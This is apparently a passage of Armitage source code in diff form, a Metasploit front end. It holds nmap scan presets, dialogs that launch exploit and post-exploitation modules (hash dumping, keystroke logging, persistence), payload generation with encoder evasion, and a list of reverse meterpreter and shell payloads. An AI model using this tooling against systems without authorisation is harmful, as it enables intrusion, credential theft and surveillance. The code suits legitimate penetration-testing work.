item($j, "Intense Scan + UDP", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v"));
|
||||
item($j, "Intense Scan, all TCP ports", $null, createNmapFunction("--min-hostgroup 96 -p 1-65535 -n -T4 -A -v"));
|
||||
item($j, "Intense Scan, no ping", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -A -v -Pn"));
|
||||
item($j, "Ping Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -sn"));
|
||||
item($j, "Quick Scan", $null, createNmapFunction("--min-hostgroup 96 -T4 -n -F"));
|
||||
item($j, "Quick Scan (OS detect)", $null, createNmapFunction("--min-hostgroup 96 -sV -n -T4 -O -F --version-light"));
|
||||
item($j, "Comprehensive", $null, createNmapFunction("--min-hostgroup 96 -sS -n -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53"));
|
||||
|
||||
item($1, "MSF Scans...", "M", {
|
||||
local('$address');
|
||||
$address = ask("Enter scan range (e.g., 192.168.1.0/24):", join(", ", [$targets getSelectedHosts]));
|
||||
if ($address eq "") { return; }
|
||||
launch_msf_scans($address);
|
||||
});
|
||||
|
||||
item($1, "DNS Enumerate", 'D', {
|
||||
if (size([$targets getSelectedHosts]) > 0) {
|
||||
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %(NS => [$targets getSelectedHosts][0]));
|
||||
}
|
||||
else {
|
||||
launch_dialog("Enumerate DNS", "auxiliary", "gather/enum_dns", 1, $null, %());
|
||||
}
|
||||
});
|
||||
|
||||
setupMenu($1, "hosts_middle", @());
|
||||
separator($1);
|
||||
setupMenu($1, "hosts_bottom", @());
|
||||
item($1, "Clear Database", 'C', &clearDatabase);
|
||||
}
|
||||
|
||||
# oh yay, Metasploit now normalizes OS info (so I don't have to). Except the new constants
|
||||
# they use are different than the ones they have used... *sigh* time to future proof my code.
|
||||
sub normalize {
|
||||
if ("*Windows*" iswm $1) {
|
||||
return "Windows";
|
||||
}
|
||||
else if ("*Mac*OS*X*" iswm $1) {
|
||||
return "Mac OS X";
|
||||
}
|
||||
else if ("*Solaris*" iswm $1) {
|
||||
return "Solaris";
|
||||
}
|
||||
else if ("*Cisco*" iswm $1) {
|
||||
return "IOS";
|
||||
}
|
||||
else if ("*Printer*" iswm $1) {
|
||||
return "Printer";
|
||||
}
|
||||
else {
|
||||
return $1;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,649 @@
|
||||
#
|
||||
# code to manage some jobs ;)
|
||||
#
|
||||
|
||||
import msf.*;
|
||||
import armitage.*;
|
||||
import console.*;
|
||||
import table.*;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.*;
|
||||
import javax.swing.table.*;
|
||||
|
||||
import java.awt.*;
|
||||
import java.awt.event.*;
|
||||
import ui.*;
|
||||
|
||||
sub manage_proxy_server {
|
||||
manage_job("Auxiliary: server/socks4a",
|
||||
# start server function
|
||||
{
|
||||
launch_dialog("SOCKS Proxy", "auxiliary", "server/socks4a", $null);
|
||||
},
|
||||
# description of job (for job kill function)
|
||||
{
|
||||
local('$host $port');
|
||||
($host, $port) = values($2["datastore"], @("SRVHOST", "SRVPORT"));
|
||||
return "SOCKS proxy is running on $host $+ : $+ $port $+ .\nWould you like to stop it?";
|
||||
}
|
||||
);
|
||||
|
||||
}
|
||||
|
||||
sub report_url {
|
||||
find_job($name, {
|
||||
if ($1 == -1) {
|
||||
showError("Server not found");
|
||||
}
|
||||
else {
|
||||
local('$job $host $port $uripath');
|
||||
$job = call($client, "job.info", $1);
|
||||
|
||||
($host, $port) = values($job["info"]["datastore"], @("SRVHOST", "SRVPORT"));
|
||||
$uripath = $job["info"]["uripath"];
|
||||
|
||||
local('$dialog $text $ok');
|
||||
$dialog = dialog("Output", 320, 240);
|
||||
$text = [new JTextArea];
|
||||
[$text setText: "http:// $+ $host $+ : $+ $port $+ $uripath"];
|
||||
|
||||
$button = [new JButton: "Ok"];
|
||||
[$button addActionListener: lambda({ [$dialog setVisible: 0]; }, \$dialog)];
|
||||
|
||||
[$dialog add: [new JScrollPane: $text], [BorderLayout CENTER]];
|
||||
[$dialog add: center($button), [BorderLayout SOUTH]];
|
||||
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
sub find_job {
|
||||
#
|
||||
# convoluted? yes, but jobs.info kept locking up on some of my requests...
|
||||
#
|
||||
cmd_safe("jobs", lambda({
|
||||
local('$temp $jid $jname $confirm');
|
||||
|
||||
foreach $temp (split("\n", $3)) {
|
||||
if ([$temp trim] ismatch '.*?(\d+)\s+(.*?)') {
|
||||
($jid, $jname) = matched();
|
||||
|
||||
if ($jname eq $name) {
|
||||
[$function: $jid];
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
[$function: -1];
|
||||
}, $name => $1, $function => $2));
|
||||
}
|
||||
|
||||
# manage_job(job name, { start job function }, { job dialog info })
|
||||
sub manage_job {
|
||||
local('$name $startf $stopf');
|
||||
($name, $startf, $stopf) = @_;
|
||||
|
||||
find_job($name, lambda({
|
||||
if ($1 == -1) {
|
||||
[$startf];
|
||||
}
|
||||
else {
|
||||
local('$job $confirm $foo');
|
||||
$job = call($client, "job.info", $1);
|
||||
|
||||
$foo = lambda({
|
||||
local('$confirm');
|
||||
$confirm = askYesNo([$stopf : $jid, $job], "Stop Job");
|
||||
if ($confirm eq "0") {
|
||||
cmd_safe("jobs -k $jid", {
|
||||
if ($3 ne "") { showError($3); }
|
||||
});
|
||||
}
|
||||
}, \$stopf, \$job, $jid => $1);
|
||||
|
||||
if ([SwingUtilities isEventDispatchThread]) {
|
||||
[$foo];
|
||||
}
|
||||
else {
|
||||
[SwingUtilities invokeLater: $foo];
|
||||
}
|
||||
}
|
||||
}, \$startf, \$stopf));
|
||||
}
|
||||
|
||||
sub generatePayload {
|
||||
local('$file');
|
||||
$file = saveFile2();
|
||||
if ($file is $null) {
|
||||
return;
|
||||
}
|
||||
|
||||
thread(lambda({
|
||||
local('$module $options $format $handle $data');
|
||||
($module, $options, $format) = $args;
|
||||
$options["Format"] = $format;
|
||||
$data = call($client, "module.execute", "payload", $module, $options);
|
||||
|
||||
$handle = openf("> $+ $file");
|
||||
writeb($handle, $data["payload"]);
|
||||
closef($handle);
|
||||
|
||||
showError("Saved $file");
|
||||
}, $args => @_, \$file));
|
||||
}
|
||||
|
||||
# pass the module launch to another thread please.
|
||||
sub launch_service {
|
||||
if ($4 eq "payload" && $format ne "multi/handler") {
|
||||
generatePayload($2, $3, $format);
|
||||
}
|
||||
else {
|
||||
local('$listener');
|
||||
thread(lambda({
|
||||
local('$title $module $options $type');
|
||||
($title, $module, $options, $type) = $args;
|
||||
_launch_service($title, $module, $options, $type, \$format, \$listener);
|
||||
}, $args => @_, \$format, \$listener));
|
||||
}
|
||||
}
|
||||
|
||||
sub _launch_service {
|
||||
local('$c $key $value');
|
||||
|
||||
if ('SESSION' in $3) {
|
||||
$c = createDisplayTab($1, $host => sessionToHost($3['SESSION']), $file => "post");
|
||||
}
|
||||
else if ('RHOST' in $3) {
|
||||
$c = createDisplayTab($1, $host => $3['RHOST'], $file => $4);
|
||||
}
|
||||
else {
|
||||
$c = createDisplayTab($1, $file => $4);
|
||||
}
|
||||
|
||||
if ($listener) {
|
||||
[$c addSessionListener: $listener];
|
||||
}
|
||||
|
||||
if ($4 eq "payload" && $format eq "multi/handler") {
|
||||
[$c addCommand: $null, "use exploit/multi/handler"];
|
||||
[$c addCommand: $null, "set PAYLOAD ". substr($2, 8)];
|
||||
[$c addCommand: $null, "set ExitOnSession false"];
|
||||
}
|
||||
else {
|
||||
[$c addCommand: $null, "use $2"];
|
||||
}
|
||||
|
||||
foreach $key => $value ($3) {
|
||||
[$c addCommand: $null, "set $key $value"];
|
||||
}
|
||||
|
||||
if ($4 eq "exploit" || ($4 eq "payload" && $format eq "multi/handler")) {
|
||||
[$c addCommand: "x", "exploit -j"];
|
||||
}
|
||||
else {
|
||||
[$c addCommand: "x", "run -j"];
|
||||
}
|
||||
|
||||
[$c start];
|
||||
}
|
||||
|
||||
#
|
||||
# pop up a dialog to start our attack with... fun fun fun
|
||||
#
|
||||
|
||||
# launch_dialog("title", "type", "name", "visible", "hosts...", %options)
|
||||
sub launch_dialog {
|
||||
local('$info $options $6');
|
||||
$info = call($mclient, "module.info", $2, $3);
|
||||
$options = call($mclient, "module.options", $2, $3);
|
||||
|
||||
# give callers the ability to set any options before we pass things on.
|
||||
if (-ishash $6) {
|
||||
local('$key $value');
|
||||
foreach $key => $value ($6) {
|
||||
if ($key in $options) {
|
||||
$options[$key]["default"] = $value;
|
||||
$options[$key]["advanced"] = "0";
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
dispatchEvent(lambda({
|
||||
invoke(lambda(&_launch_dialog, \$info, \$options), $args);
|
||||
}, \$info, \$options, $args => @_));
|
||||
}
|
||||
|
||||
# $1 = model, $2 = exploit, $3 = selected target
|
||||
sub updatePayloads {
|
||||
thread(lambda({
|
||||
local('$best');
|
||||
$best = best_client_payload($exploit, $target);
|
||||
[$model setValueForKey: "PAYLOAD", "Value", $best];
|
||||
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
||||
[$model setValueForKey: "LPORT", "Value", randomPort()];
|
||||
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
|
||||
[$model setValueForKey: "ExitOnSession", "Value", "false"];
|
||||
[$model fireListeners];
|
||||
}, $model => $1, $exploit => $2, $target => $3));
|
||||
}
|
||||
|
||||
sub _launch_dialog {
|
||||
local('$dialog $north $center $center $label $textarea $scroll $model $table $default $combo $key $sorter $value $col $button $6 $5');
|
||||
|
||||
$dialog = dialog($1, 520, 360);
|
||||
|
||||
$north = [new JPanel];
|
||||
[$north setLayout: [new BorderLayout]];
|
||||
|
||||
$label = [new JLabel: $info["name"]];
|
||||
[$label setBorder: [BorderFactory createEmptyBorder: 5, 5, 5, 5]];
|
||||
|
||||
[$north add: $label, [BorderLayout NORTH]];
|
||||
|
||||
$textarea = [new JTextArea: [join(" ", split('[\\n\\s]+', $info["description"])) trim]];
|
||||
[$textarea setEditable: 0];
|
||||
[$textarea setOpaque: 1];
|
||||
[$textarea setLineWrap: 1];
|
||||
[$textarea setWrapStyleWord: 1];
|
||||
[$textarea setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||
$scroll = [new JScrollPane: $textarea];
|
||||
[$scroll setBorder: [BorderFactory createEmptyBorder: 3, 3, 3, 3]];
|
||||
|
||||
[$north add: $scroll, [BorderLayout CENTER]];
|
||||
|
||||
$model = [new GenericTableModel: @("Option", "Value"), "Option", 128];
|
||||
[$model setCellEditable: 1];
|
||||
foreach $key => $value ($options) {
|
||||
if ($key eq "THREADS") {
|
||||
$default = "24";
|
||||
}
|
||||
else if ($key eq "LHOST") {
|
||||
$default = $MY_ADDRESS;
|
||||
}
|
||||
else if ($key eq "RHOSTS") {
|
||||
$default = join(", ", $5);
|
||||
}
|
||||
else if ($key eq "SESSION" && size($5) > 0) {
|
||||
local('$host @sessions');
|
||||
|
||||
foreach $host ($5) {
|
||||
if ($host in %hosts && 'sessions' in %hosts[$host] && size(%hosts[$host]['sessions']) > 0) {
|
||||
push(@sessions, keys(%hosts[$host]['sessions'])[0]);
|
||||
}
|
||||
}
|
||||
$default = join(", ", @sessions);
|
||||
}
|
||||
else if ($key eq "RHOST" && size($5) > 0) {
|
||||
$default = $5[0];
|
||||
}
|
||||
else {
|
||||
$default = $value["default"];
|
||||
}
|
||||
|
||||
if ($2 ne "exploit" || "$key" !in @("DisablePayloadHandler", "PAYLOAD", "LHOST", "LPORT", "ExitOnSession")) {
|
||||
[$model _addEntry: %(Option => $key, Value => $default, Tooltip => $value["desc"], Hide => iff($value["advanced"] eq '0' && $value["evasion"] eq '0', '0', '1'))];
|
||||
}
|
||||
}
|
||||
|
||||
#
|
||||
# give user the option to configure the client-side payload... of course we'll configure it for them
|
||||
# by default :P~
|
||||
#
|
||||
if ($2 eq "exploit") {
|
||||
[$model _addEntry: %(Option => "PAYLOAD", Value => "", Tooltip => "The payload to execute on successful exploitation", Hide => "0")];
|
||||
[$model _addEntry: %(Option => "DisablePayloadHandler", Value => "1", Tooltip => "Disable the handler code for the selected payload", Hide => "0")];
|
||||
[$model _addEntry: %(Option => "ExitOnSession", Value => "", Tooltip => "Close this handler after a session")];
|
||||
[$model _addEntry: %(Option => "LHOST", Value => "$MY_ADDRESS", Tooltip => "The listen address", Hide => "0")];
|
||||
[$model _addEntry: %(Option => "LPORT", Value => "", Tooltip => "The listen port", Hide => "0")];
|
||||
}
|
||||
else if ($2 eq "payload" && "*windows*" iswm $3) {
|
||||
[$model _addEntry: %(Option => "Template", Value => "", Tooltip => "The executable template to use", Hide => "0")];
|
||||
[$model _addEntry: %(Option => "KeepTemplateWorking", Value => "", Tooltip => "Keep the executable template functional", Hide => "0")];
|
||||
[$model _addEntry: %(Option => "Iterations", Value => "3", Tooltip => "The number of encoding iterations", Hide => "0")];
|
||||
[$model _addEntry: %(Option => "Encoder", Value => "x86/shikata_ga_nai", Tooltip => "The name of the encoder module to use", Hide => "0")];
|
||||
}
|
||||
|
||||
$table = [new ATable: $model];
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 0];
|
||||
[$table setRowSorter: $sorter];
|
||||
|
||||
local('%actions');
|
||||
%actions["PAYLOAD"] = lambda(&payloadHelper, $exploit => $3, \$model);
|
||||
|
||||
addFileListener($table, $model, %actions);
|
||||
|
||||
local('$TABLE_RENDERER');
|
||||
$TABLE_RENDERER = tableRenderer($table, $model);
|
||||
|
||||
foreach $col (@("Option", "Value")) {
|
||||
[[$table getColumn: $col] setCellRenderer: $TABLE_RENDERER];
|
||||
}
|
||||
|
||||
$center = [new JScrollPane: $table];
|
||||
$combo = select(sorta(split(',', "raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vba-exe,vbs,loop-vbs,asp,war,multi/handler")), "multi/handler");
|
||||
$button = [new JButton: "Launch"];
|
||||
|
||||
# setup some default options on a output type basis.
|
||||
[$combo addActionListener: lambda({
|
||||
local('$sel');
|
||||
$sel = [$combo getSelectedItem];
|
||||
if ($sel eq "vba") {
|
||||
[$model setValueForKey: "Encoder", "Value", "generic/none"];
|
||||
[$model setValueForKey: "EXITFUNC", "Value", "thread"];
|
||||
[$model fireListeners];
|
||||
}
|
||||
}, \$model, \$combo)];
|
||||
|
||||
local('$combobox');
|
||||
if ('targets' in $info) {
|
||||
$combobox = targetsCombobox($info);
|
||||
[$combobox addActionListener: lambda({
|
||||
updatePayloads($model, $exploit, [$combobox getSelectedItem]);
|
||||
}, \$model, $exploit => $3, \$combobox)];
|
||||
}
|
||||
|
||||
[$button addActionListener: lambda({
|
||||
local('$options $host $x $best');
|
||||
syncTable($table);
|
||||
|
||||
$options = %();
|
||||
|
||||
# assume we have an exploit... set the appropriate target please...
|
||||
if ($combobox !is $null) {
|
||||
$options["TARGET"] = split(' \=\> ', [$combobox getSelectedItem])[0];
|
||||
}
|
||||
|
||||
for ($x = 0; $x < [$model getRowCount]; $x++) {
|
||||
if ([$model getValueAt: $x, 1] ne "") {
|
||||
$options[ [$model getValueAt: $x, 0] ] = [$model getValueAt: $x, 1];
|
||||
}
|
||||
}
|
||||
|
||||
if (!isShift($1)) {
|
||||
[$dialog setVisible: 0];
|
||||
}
|
||||
|
||||
if ($visible) {
|
||||
if ('SESSION' in $options) {
|
||||
local('@sessions $session $console');
|
||||
@sessions = split(',\s+', $options['SESSION']);
|
||||
foreach $session (@sessions) {
|
||||
$options['SESSION'] = $session;
|
||||
launch_service($title, "$type $+ / $+ $command", copy($options), $type, $format => [$combo getSelectedItem]);
|
||||
}
|
||||
|
||||
if ($command eq "windows/gather/smart_hashdump" || $command eq "windows/gather/hashdump") {
|
||||
foreach $session (@sessions) {
|
||||
$session = sessionToHost($session);
|
||||
}
|
||||
elog("dumped hashes on " . join(", ", @sessions));
|
||||
}
|
||||
else if ($command eq "windows/gather/arp_scanner") {
|
||||
elog("ARP scan: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
|
||||
}
|
||||
else if ($command eq "multi/gather/ping_sweep") {
|
||||
elog("ping sweep: " . $options['RHOSTS'] . " via " . join(", ", @sessions));
|
||||
}
|
||||
else if ($command eq "windows/capture/keylog_recorder") {
|
||||
foreach $session (@sessions) {
|
||||
$session = sessionToHost($session) . "/ $+ $session";
|
||||
}
|
||||
elog("started logging keystrokes on " . join(", ", @sessions));
|
||||
}
|
||||
else if ($command eq "windows/manage/persistence") {
|
||||
foreach $session (@sessions) {
|
||||
$session = sessionToHost($session);
|
||||
}
|
||||
elog("ran persistence on " . join(", ", @sessions));
|
||||
}
|
||||
}
|
||||
else if ("*/fileformat/*" iswm $command && 'FILENAME' in $options) {
|
||||
local('$listener');
|
||||
$listener = {
|
||||
local('$temp $file $path');
|
||||
foreach $temp (split("\n", $3)) {
|
||||
if ($temp ismatch '... (.*?) stored at (.*)') {
|
||||
($file, $path) = matched();
|
||||
downloadFile($path, saveFile2());
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
if ($client is $mclient) {
|
||||
$listener = $null;
|
||||
}
|
||||
|
||||
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
|
||||
}
|
||||
else if ($type eq "exploit" && "*/browser/*" iswm $command) {
|
||||
local('$listener');
|
||||
$listener = lambda({
|
||||
local('$temp $file $path');
|
||||
foreach $temp (split("\n", $3)) {
|
||||
if ($temp ismatch '...\s+Local IP:\s+(http.*)') {
|
||||
elog("launched $command @ " . matched()[0]);
|
||||
}
|
||||
}
|
||||
}, \$command);
|
||||
|
||||
if ($client is $mclient) {
|
||||
$listener = $null;
|
||||
}
|
||||
|
||||
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem], \$listener);
|
||||
}
|
||||
else {
|
||||
if ($type eq "auxiliary" && $command eq "gather/enum_dns") {
|
||||
local('$domain $ns');
|
||||
($domain, $ns) = values($options, @('DOMAIN', 'NS'));
|
||||
if ($ns ne "") {
|
||||
elog("launched DNS enum for $domain via $ns");
|
||||
}
|
||||
else {
|
||||
elog("launched DNS enum for $domain");
|
||||
}
|
||||
}
|
||||
|
||||
launch_service($title, "$type $+ / $+ $command", $options, $type, $format => [$combo getSelectedItem]);
|
||||
}
|
||||
}
|
||||
else {
|
||||
thread(lambda({
|
||||
local('$r');
|
||||
$r = call($client, "module.execute", $type, $command, $options);
|
||||
if ("result" in $r) {
|
||||
elog("started $command");
|
||||
showError($r["result"]);
|
||||
}
|
||||
else if ("job_id" in $r) {
|
||||
elog("started $command");
|
||||
showError("Started service");
|
||||
}
|
||||
else {
|
||||
showError($r);
|
||||
}
|
||||
}, \$type, \$command, \$options));
|
||||
}
|
||||
}, \$dialog, \$model, $title => $1, $type => $2, $command => $3, $visible => $4, \$combo, \$table, \$combobox)];
|
||||
|
||||
local('$advanced');
|
||||
$advanced = addAdvanced(\$model);
|
||||
|
||||
local('$panel');
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BoxLayout: $panel, [BoxLayout Y_AXIS]]];
|
||||
|
||||
if ($2 eq "payload") {
|
||||
[$panel add: left([new JLabel: "Output: "], $combo)];
|
||||
}
|
||||
else if ($combobox !is $null) {
|
||||
[$panel add: left([new JLabel: "Targets: "], $combobox)];
|
||||
}
|
||||
|
||||
if ($2 eq "exploit") {
|
||||
updatePayloads($model, "$3", iff($combobox !is $null, [$combobox getSelectedItem]));
|
||||
}
|
||||
|
||||
[$panel add: left($advanced)];
|
||||
[$panel add: center($button)];
|
||||
[$dialog add: $panel, [BorderLayout SOUTH]];
|
||||
|
||||
local('$s');
|
||||
$s = [new JSplitPane: [JSplitPane VERTICAL_SPLIT], $north, $center];
|
||||
[$center setPreferredSize: [new Dimension: 0, 0]];
|
||||
[$north setPreferredSize: [new Dimension: 480, 87]]; # from 67...
|
||||
[$s resetToPreferredSizes];
|
||||
[$s setOneTouchExpandable: 1];
|
||||
|
||||
[$dialog add: $s, [BorderLayout CENTER]];
|
||||
|
||||
[$button requestFocus];
|
||||
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
|
||||
sub jobs {
|
||||
local('$jobs $jid $desc $info $data @r');
|
||||
$jobs = call($client, "job.list");
|
||||
foreach $jid => $desc ($jobs) {
|
||||
$info = call($client, "job.info", $jid);
|
||||
if ($info !is $null) {
|
||||
$data = $info["datastore"];
|
||||
if (!-ishash $data) { $data = %(); }
|
||||
push(@r, %(Id => $jid, Name => $info['name'], Payload => $data['PAYLOAD'], Port => $data['LPORT'], Start => rtime($info['start_time']), Data => $data, URL => $info['uripath']));
|
||||
}
|
||||
}
|
||||
return @r;
|
||||
}
|
||||
|
||||
sub updateJobsTable {
|
||||
local('$job');
|
||||
[$model clear: 8];
|
||||
|
||||
foreach $job (jobs()) {
|
||||
[$model addEntry: $job];
|
||||
}
|
||||
|
||||
[$model fireListeners];
|
||||
}
|
||||
|
||||
sub createJobsTab {
|
||||
local('$table $model $refresh $kill $panel $jobsf $sorter');
|
||||
|
||||
$panel = [new JPanel];
|
||||
[$panel setLayout: [new BorderLayout]];
|
||||
|
||||
$model = [new GenericTableModel: @("Id", "Name", "Payload", "Port", "URL", "Start"), "Id", 8];
|
||||
|
||||
$table = [new ATable: $model];
|
||||
[[$table getSelectionModel] setSelectionMode: [ListSelectionModel MULTIPLE_INTERVAL_SELECTION]];
|
||||
[[$table getColumn: "Id"] setPreferredWidth: 125];
|
||||
[[$table getColumn: "Port"] setPreferredWidth: 200];
|
||||
[[$table getColumn: "Name"] setPreferredWidth: 1024];
|
||||
[[$table getColumn: "Payload"] setPreferredWidth: 1024];
|
||||
[[$table getColumn: "URL"] setPreferredWidth: 1024];
|
||||
[[$table getColumn: "Start"] setPreferredWidth: 1024];
|
||||
|
||||
$sorter = [new TableRowSorter: $model];
|
||||
[$sorter toggleSortOrder: 0];
|
||||
[$table setRowSorter: $sorter];
|
||||
[$sorter setComparator: 0, { return $1 <=> $2; }];
|
||||
[$sorter setComparator: 3, { return $1 <=> $2; }];
|
||||
|
||||
$jobsf = lambda(&updateJobsTable, \$model);
|
||||
[$jobsf];
|
||||
|
||||
[$panel add: [new JScrollPane: $table], [BorderLayout CENTER]];
|
||||
|
||||
$refresh = [new JButton: "Refresh"];
|
||||
[$refresh addActionListener: lambda({ thread($jobsf); }, \$jobsf)];
|
||||
|
||||
$kill = [new JButton: "Kill"];
|
||||
[$kill addActionListener: lambda({
|
||||
local('@jobs');
|
||||
@jobs = [$model getSelectedValues: $table];
|
||||
|
||||
thread(lambda({
|
||||
showError("Stopping " . size(@jobs) . " job" . iff(size(@jobs) == 1, "", "s"));
|
||||
local('$jid');
|
||||
foreach $jid (@jobs) {
|
||||
call($client, "job.stop", $jid);
|
||||
}
|
||||
yield size(@jobs) * 500;
|
||||
[$jobsf];
|
||||
}, \@jobs, \$jobsf));
|
||||
}, \$table, \$model, \$jobsf)];
|
||||
|
||||
[$panel add: center($refresh, $kill), [BorderLayout SOUTH]];
|
||||
|
||||
[$frame addTab: "Jobs", $panel, $null];
|
||||
}
|
||||
|
||||
sub payloadHelper {
|
||||
local('$compatible $payload $check');
|
||||
|
||||
$payload = {
|
||||
return %(payload => $1, Name => $2, Target => $3, Channel => $4);
|
||||
};
|
||||
|
||||
$check = [new JCheckBox: "Start a handler for this payload"];
|
||||
|
||||
$compatible = @();
|
||||
push($compatible, [$payload: "windows/meterpreter/reverse_tcp", "Meterpreter", "Windows", "TCP/IP"]);
|
||||
push($compatible, [$payload: "windows/meterpreter/reverse_tcp_dns", "Meterpreter", "Windows", "TCP/IP to hostname"]);
|
||||
push($compatible, [$payload: "windows/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Windows", "TCP/IPv6"]);
|
||||
push($compatible, [$payload: "windows/meterpreter/reverse_http", "Meterpreter", "Windows", "HTTP"]);
|
||||
push($compatible, [$payload: "windows/meterpreter/reverse_https", "Meterpreter", "Windows", "HTTPS"]);
|
||||
|
||||
push($compatible, [$payload: "windows/shell/reverse_tcp", "Shell", "Windows", "TCP/IP"]);
|
||||
push($compatible, [$payload: "windows/shell/reverse_http", "Shell", "Windows", "HTTP"]);
|
||||
push($compatible, [$payload: "windows/shell/reverse_ipv6_tcp", "Shell", "Windows", "TCP/IPv6"]);
|
||||
push($compatible, [$payload: "windows/shell/reverse_ipv6_http", "Shell", "Windows", "HTTP/IPv6"]);
|
||||
|
||||
push($compatible, [$payload: "java/meterpreter/reverse_tcp", "Meterpreter", "Java", "TCP/IP"]);
|
||||
push($compatible, [$payload: "java/meterpreter/reverse_http", "Meterpreter", "Java", "HTTP"]);
|
||||
push($compatible, [$payload: "java/shell/reverse_tcp", "Shell", "Java", "TCP/IP"]);
|
||||
|
||||
push($compatible, [$payload: "linux/meterpreter/reverse_tcp", "Meterpreter", "Linux", "TCP/IP"]);
|
||||
push($compatible, [$payload: "linux/meterpreter/reverse_ipv6_tcp", "Meterpreter", "Linux", "TCP/IPv6"]);
|
||||
push($compatible, [$payload: "osx/ppc/shell/reverse_tcp", "Shell", "MacOS X (PPC)", "TCP/IP"]);
|
||||
push($compatible, [$payload: "osx/x86/vforkshell/reverse_tcp", "Shell", "MacOS X (x86)", "TCP/IP"]);
|
||||
push($compatible, [$payload: "generic/shell_reverse_tcp", "Shell", "UNIX (Generic)", "TCP/IP"]);
|
||||
|
||||
quickListDialog("Choose a payload", "Select", @("payload", "Name", "Target", "Channel"), $compatible, $width => 640, $height => 240, $after => @(left($check)), lambda({
|
||||
# set the payload...
|
||||
if ($1 eq "") {
|
||||
return;
|
||||
}
|
||||
|
||||
if ([$check isSelected]) {
|
||||
[$model setValueForKey: "DisablePayloadHandler", "Value", "false"];
|
||||
[$model setValueForKey: "HANDLER", "Value", "true"];
|
||||
[$model setValueForKey: "ExitOnSession", "Value", "false"];
|
||||
[$model setValueForKey: "LPORT", "Value", randomPort()];
|
||||
}
|
||||
else {
|
||||
[$model setValueForKey: "DisablePayloadHandler", "Value", "true"];
|
||||
[$model setValueForKey: "HANDLER", "Value", "false"];
|
||||
[$model setValueForKey: "ExitOnSession", "Value", ""];
|
||||
[$model setValueForKey: "LPORT", "Value", ""];
|
||||
}
|
||||
|
||||
if ($1 eq "windows/meterpreter/reverse_tcp" || $1 eq "windows/meterpreter/reverse_tcp_dns") {
|
||||
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
||||
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
||||
}
|
||||
else if ($1 eq "windows/meterpreter/reverse_http" || $1 eq "windows/meterpreter/reverse_https" || $1 eq "java/meterpreter/reverse_http") {
|
||||
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
||||
[$model setValueForKey: "LHOST", "Value", $MY_ADDRESS];
|
||||
[$model setValueForKey: "LPORT", "Value", iff([$1 endsWith: "http"], "80", "443")];
|
||||
}
|
||||
else {
|
||||
[$model setValueForKey: "PAYLOAD", "Value", $1];
|
||||
}
|
||||
[$model fireListeners];
|
||||
}, $callback => $4, \$model, \$check));
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
#
|
||||
# Logging... yeap, this is very important y0.
|
||||
#
|
||||
|
||||
import java.io.*;
|
||||
|
||||
global('%logs');
|
||||
%logs = ohash();
|
||||
setMissPolicy(%logs, {
|
||||
return [new PrintStream: [new FileOutputStream: $2, 1], 1, "UTF-8"];
|
||||
});
|
||||
|
||||
# logNow("file", "host|all", "text to log");
|
||||
sub logNow {
|
||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||
local('$today $stream');
|
||||
$today = formatDate("yyMMdd");
|
||||
mkdir(getFileProper(dataDirectory(), $today, $2));
|
||||
$stream = %logs[ getFileProper(dataDirectory(), $today, $2, "$1 $+ .log") ];
|
||||
[$stream println: $3];
|
||||
}
|
||||
}
|
||||
|
||||
sub logCheck {
|
||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||
local('$today');
|
||||
$today = formatDate("yyMMdd");
|
||||
if ($2 ne "") {
|
||||
mkdir(getFileProper(dataDirectory(), $today, $2));
|
||||
[$1 writeToLog: %logs[ getFileProper(dataDirectory(), $today, $2, "$3 $+ .log") ]];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# logFile("filename", "all|host", "type")
|
||||
sub logFile {
|
||||
if ([$preferences getProperty: "armitage.log_everything.boolean", "true"] eq "true") {
|
||||
local('$today $handle $data $out');
|
||||
$today = formatDate("yyMMdd");
|
||||
if (-exists $1 && -canread $1) {
|
||||
mkdir(getFileProper(dataDirectory(), $today, $2, $3));
|
||||
|
||||
# read in the file
|
||||
$handle = openf($1);
|
||||
$data = readb($handle, -1);
|
||||
closef($handle);
|
||||
|
||||
# write it out.
|
||||
$out = getFileProper(dataDirectory(), $today, $2, $3, getFileName($1));
|
||||
$handle = openf("> $+ $out");
|
||||
writeb($handle, $data);
|
||||
closef($handle);
|
||||
}
|
||||
else {
|
||||
warn("Could not find file: $1");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
sub initLogSystem {
|
||||
[$frame setScreenshotManager: {
|
||||
local('$image $title');
|
||||
($image, $title) = @_;
|
||||
thread(lambda({
|
||||
local('$file');
|
||||
$title = tr($title, '0-9\W', '0-9_');
|
||||
$file = [new java.io.File: getFileProper(formatDate("HH.mm.ss") . " $title $+ .png")];
|
||||
|
||||
[javax.imageio.ImageIO write: $image, "png", $file];
|
||||
logFile([$file getAbsolutePath], "screenshots", ".");
|
||||
deleteFile([$file getAbsolutePath]);
